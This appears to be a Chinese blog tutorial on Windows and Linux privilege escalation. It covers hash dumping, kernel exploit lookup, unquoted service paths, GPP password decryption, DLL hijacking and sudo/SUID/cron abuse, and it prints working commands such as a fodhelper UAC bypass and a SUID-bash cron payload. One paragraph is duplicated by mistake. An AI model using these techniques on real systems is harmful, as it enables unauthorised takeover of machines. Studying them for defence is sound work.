基础系统提权
2023-3-20 09:2:19 Author: web安全and一只狗(查看原文) 阅读量:14 收藏

前言

现在只对常读和星标的公众号才展示大图推送,建议大家把web安全and一只狗设为星标”,否则可能就看不到了啦

正文字数:8150字
阅读时间:21分钟

简介

提权,就是提高自己在服务器中的权限。比如在windows下从普通用户提升到administrator或者system权限,linux下普通用户提升到root权限。

0x0 计算机中的权限

权限有着不同的分类,在权限方面我们大致分为几类(等级)

匿名访问权限来宾权限用户权限管理员权限系统权限

1.1 匿名访问权限

任何人都可以操作访问,这种权限被称作匿名访问权限


1.2 来宾权限

系统默认可开启的来宾的权限,低于用户权限,高于匿名访问权限

1.3用户权限

由管理员创建的用户,低于管理员权限,高于来宾、匿名权限

1.4 管理员权限

高于所有其他权限,低于系统权限,管理员权限可操作所有,不可操作uac下的权限


1.5 系统权限

高于所有权限,可进行任何操作

不同的权限相应的权利各不同,通常我们正常使用电脑一般 只有用户权限和管理员权限

0x2 需要用到提权的场景

一般需要用到提权的原因,是因为当前用户权限无法做到我们想做到的事,所以我们需要提

比如:匿名访问网站----->普通用户访问后台----->管理员用户访问后台----->任意文件上传漏洞----- >web权限----->系统权限数据库权限(root) ---> 系统权限 普通用户权限 cmd 命令拒绝访问

0x3 windows提权

1.windows常用命令

systeminfowhoaminet usernet user usersnet1 usertasklist /svc | find "TermService" #查看当前远程桌面端口 query user #查看当前登录中的用户

2.windows提权方法总结

基于密码提权系统内核溢出漏洞提权 操作系统错误的服务权限配置 组策略首选项提权UAC绕过DLL注入第三方软件/服务提权 ----> PsExec.exe

3.基于密码提权(常用获取密码手段)

1.通过中间人劫持: 网络窃听 arp 劫持、DNS劫持 2.通过用户主机窃听:键盘记录 蓝牙键盘,流量发送接收,外接键盘 3.通过简单猜测:永恒之蓝 ms17-010 还有 ms08_067 rpc 445 4.用户自己泄露:git、配置文件等泄露方式 5.通过系统后⻔:shift 后⻔、win+u 放大镜、输入法

4.windows密码获取与破解

windows 用两方法对用户的密码进行哈希处理,分别为 LAN Manager (LM)哈希和 NT LAN Manager (NTLM)哈希。

eg: Administrator:500:LM-HASH:NTLM-HASH 用户名 RID LM-HASH NTLM-HASH

(LM)哈希:

LM Hash全名为“LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的 散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但是为了保证系统的兼容 性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始, Windows操作系统默认禁用LM Hash),LM Hash明文密码被限制在14位以内,也就是说,如 果要停止使用LM Hash,将用户的密码设置为14位以上就好了。如果LM Hash被禁用了,攻 击者提高工具抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"。

(NTLM)哈希:

1.通过中间人劫持: 网络窃听 arp 劫持、DNS劫持 2.通过用户主机窃听:键盘记录 蓝牙键盘,流量发送接收,外接键盘 3.通过简单猜测:永恒之蓝 ms17-010 还有 ms08_067 rpc 445 4.用户自己泄露:git、配置文件等泄露方式 5.通过系统后⻔:shift 后⻔、win+u 放大镜、输入法

NTLMHash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash 是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.

hash在线解密:

https://www.cmd5.com/

5.windows密码hash导出


1、导入导出哈希 sam、sysyem c:\windows\system32\config\sam 2、gethashes导出3、pwddump 导出4、wce导出以上工具都能导出hash,功能大同小异

6.hash破解

1.hashcat(万能密码破解)

7.系统内核溢出提权

此提权方法即是通过系统本身存在的漏洞,系统并为打相应的补丁,从而暴露出来提权的方法,依 托可以提升权限的EXP和它们的补丁编号,进行提升权限。 

github windwos提权exp汇总: https://github.com/SecWiki/windows-kernel-exploits wwindwos提权检测辅助工具

https://github.com/ianxtianxt/win-exp- 

https://github.com/bitsadmin/wesng 

https://bugs.hacking8.com/tiquan/

手动去发现缺失补丁

systeminfowmic qfe get Caption,Description,HotFixID,InstalledOn

输出结果是不能直接被利用的。攻击者采取的利用方式:寻找提权的 EXP, 将已安装的补丁 编号与提权的 EXP 的编号进行对比,

输出结果是不能直接被利用的。攻击者采取的利用方式:寻找提权的 EXP, 将已安装的补丁 编号与提权的 EXP 的编号进行对比。

将已安装的补丁编号与提权的 EXP 的编号进行对比,例如 MS11-011 和 KB293802 MS11-080 和 KB2592799 MS11-080 和 KB2592779 然后使用没有编号的 EXP 进行提权。

一般我们使用在线的提权辅助工具来帮我们寻找相应的提权exp

https://detect.secwx.com/https://i.hacking8.com/tiquan

提权检测脚本

https://github.com/rasta-mouse/Sherlockhttps://github.com/AonCyberLabs/Windows-Exploit-Suggester

常⻅的提权cve 内核组件漏洞(CVE2018-8120): 支持: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32,Win2003 x64 https://github.com/alpha1ab/CVE-2018-8120

Win32k 特权提升漏洞(CVE-2016-7255): 支持:windows_10、windows_10:1511、windows_10:1607、windows_7::sp1、 windows_8.1、windows_rt_8.1、windows_server_2008::sp2、 windows_server_2008:r2:sp1、windows_server_2012、windows_server_2012:r2、 windows_server_2016、windows_vista::sp2

https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16- 135

令牌窃取提权(ms16-075、CVE-2016-3225)(烂土豆) 当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消 息块 (SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。支持:基本上支持2016年补丁之前所有版本

8.windows内核提权漏洞利用

9.操作系统错误的服务权限配置

windows服务中默认启动任务权限为system最高系统权限,基本上所有windows都存在

Trusted Service Paths(可信任服务路径)漏洞,windows服务通常都是以System权限运行的,所以系统在解析对应的文件路径中的空格的时

候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升 例如,有如下的文件路径:

C:\Program Files\Some Folder\Service.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹 配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我 们的恶意程序就会以system权限运行(大多数情况下)。

10.创建服务

sc create "files" binpath= "C:\Program Files\InternetExplorer\iexplore.exe" start=auto

sc query 服务名 #查询服务是否存在
win键+r键,输入SERVICES.MSC打开服务列表找查服务


11.上传木马文件为匹配文件名

12.成果上线提升为system权限

13.组策略首选项提权(MS14-025)

组策略介绍:

组策略可以控制用户帐户和计算机帐户的工作环境。它提供了操作系统、应用程序和活动目录中用
户设置的集中化管理和配置。有本机组策略和域的组策略。本机组策略用于计算机管理员统一管理
本机以及所有用户,域内的组策略用于域管统一管理域内的所有计算机以及域用户
此外,这些策略可以对机器进行各种配置更改,例如:
映射驱动器创建本地用户数据源

SYSVOL 漏洞(MS14-025)环境配置1、首先在命令提示符输入:gpmc.msc

在ad域机器上创建一个本地用户

最后运行命令 gpupdate,强制更新组策略设置:

管理员在域中新建一个组策略后,操作系统会自动在SYSVO随机共享目录中生成一个XML文件,即Groups.xml,该文件中保存了该组策略更新后的密码。

在域中,存在一个默认的共享路径:

\\SYSVOL<DOMAIN>\Policies\xxxx-xxx-xxx-xxxxx\

当然我们还可以通过 for 循环来搜索 xml 文件,快速找到xml文件。
for /r \\AD-2008/sysvol %i in (*.xml) do @echo %i
通过得到 Groups.xml 文件后,我们得到了以下信息:
newName="admin"cpassword="A48HwlVXS/3M2Asazld/d7Fvvt42DD7pOJGn/ut+z7I"
通过拿到 cpassword 的密码,我们可以拿到 Kali 里使用自带的工具 gpp-decryp 去解 密:
  gpp-decrypt "A48HwlVXS/3M2Asazld/d7Fvvt42DD7pOJGn/ut+z7I"

该密码使用 AES-256 算法,但 2012 年微软公布了该密码的私钥,也就是说任何人都可以对其进行解密。

14.UAC绕过

一、win10手动绕过 通过更改注册表,手动启用uac(利用fodhelper.exe)
1、cd c:\programdata2、shell reg add HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command /t REG_SZ /d c:\programdata\test.exe /f3、shell reg add HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command /v DelegateExecute /t REG_SZ4、shell reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer 5、shell reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer /t REG_SZ /d .pwn /f7、shell C:\\Windows\System32\fodhelper.exe

启动fodhelper.exe时,会在注册表中执行以下检查:

HKCU:\Software\Classes\ms-settings\shell\open\commandHKCU:\Software\Classes\ms- settings\shell\open\command\DelegateExecuteHKCU:\Software\Classes\ms- settings\shell\open\command(default)

由于这些注册表项不存在,用户可以在注册表中创建此结构,以便操纵fodhelper以绕过用户 账户控制 (UAC) 执行具有更高权限的命令。

二、带证书的UAC本地提权
该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,

Windows会在一个单独的桌面上显示所有的UAC提示 Secure Desktop。这些提示是由名为 consent.exe 的可执行文件产生的,该可执行文件以NT

AUTHORITY\SYSTEM权限运行,完整性级别为System。

因为用户可以与该UI交互,因此对UI来说:限制是必须的,否则,低权限的用户可能可以通 过UI操作的循环路由以SYSTEM权限执行操作,即使隔离状态的看似无害的UI特征都可能会 成为引发任意控制的动作链的第一步。

事实上,UAC会话中本应该尽可能含有少些点击操作选项,倘若利用该漏洞,是很容易就可 以提升权限到SYSTEM。

1.新建用户 打开cmd输入

net user test2 123456 /add

2.创建一个test2的账户,通过test2登录远程桌面 可以看⻅当前运行管理员权限程序,需要输入管理员的密码

3.我们找到带微软证书的HHUPD.EXE程序运行 点击发布者信息

4.点击颁发者

5.可以看到弹出了ie浏览器,直接点击⻚面->点击另存为调出cmd提升权限

15.DLL劫持提权

DLL(Dynamic Link Library)文件,即动态链接库,也有人称作应用程序拓展。

DLL文件是一种可执行文件,它允许程序共享执行特殊任务所必需的代码和其他资源。Windows提供的DLL文件中包含了允许基于 Windows 的程序在 Windows 环境下操作的许多 函数和资源。

需要满足以下条件才能成功:
1.软件可以被利用2.有权限替换dll文件3.受害者会运行与这个dll文件相关的软件

FlashFXP DLL劫持

步骤一:通过火绒剑分析FlashFXP程序的DLL,找到非系统DLL文件。

步骤二:使用MSF或者cs生成恶意的DLL文件并替换FlashFXP中的源文件libeay32.dll

Serv-UFlashFXP PcAnyWhereVNCapacheMysql等等都可以通过dll提权

0x4 LINUX提权

1.linux提权方法总结

Linux SUID提权Linux内核提权sudo提权计划任务提权

2.sudo提权

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一 个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高 了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可 以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常 是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取 得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机 前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内 (默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

配置文件/etc/sudoers

(ALL) ALL:意思是当前用户(bob)可以sudo执行root的命令,但只限于安全列表 多种sudo的方式

多种sudo的方式

sudo /bin/ashsudo find . -exec /bin/sh \;-quitsudo /bin/bash

在线查询sudo的提权命令:https://gtfobins.github.io/

3.计划任务提权

假如root用户配置不当,在/etc/crontab文件创建了一个计划任务,当前计划任务就会以root权限运行

*/1 * * * * root sh /tmp/1.sh>>/tmp/1.txt

分钟执行一次/tmp/1.sh文件并输出到/tmp/1.txt查看1.sh文件权限为bob用户权限,说明我们是可以操作1.sh这个文件的

我们可以通过覆盖1.sh文件提升为root权限

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> /tmp/1.sh #复制bash 到/tmp下,并且赋予suid权限/tmp/bash -p # 即可获取root权限

4.suid提权(类似sudo)

suid简介:SUID这个是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位, 比如0775这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权 限文件时,拥有root的权限,就会配置特殊权限

比如说passwd这个命令,这个命令会修改/etc/shadow文件,而/etc/shadow只有root才能修 改,本来passwd这个命令应该也只能root才能执行的。但是系统为了让普通用户能够修改自己的 密码,对passwd这个命令赋予了特殊权限并添加了只能修改自己密码的限制

使用find命令快速查找所有suid文件

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

发现存在suid权限的文件taskset

-rwsr-sr-x 1 root root 30800 May 16 2018 /usr/bin/taskset

taskset执行bash

taskset 1 /bin/bash -p

在线查询suid的提权命令:https://gtfobins.github.io/

5.linux内核提权

和上边windows内核提权流程原理差不多。先做基础的信息收集
# 查看内核版本uname -a# 查看发行版cat /etc/issuecat /etc/*-release

也可以用脚本自动化查找

https://github.com/mzet-/linux-exploit-suggester

常⻅的linux内核提权有脏牛提权(CVE-2016-5195),通杀linux内核版本 >= 2.6.22(2007年 发行,到2016年10月18日才修复)

简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW) 时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存 映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,也是缓冲区溢出 的一种,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至获得root权限。

exp:https://github.com/gbonacini/CVE-2016-5195 内核版本漏洞在线查询:https://detect.secwx.com/

- -THE END- -

编文不易,欢迎关注!!!如文中有误,欢迎指正。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMxMTcyNw==&mid=2247510717&idx=1&sn=2c7214fd3a8b66fb04146df37559d26b&chksm=c09ad2bdf7ed5bab489c65e497d3ce148b5a93b9994af1142de80251fa22941eb778b76f4a80#rd
如有侵权请联系:admin#unsafe.sh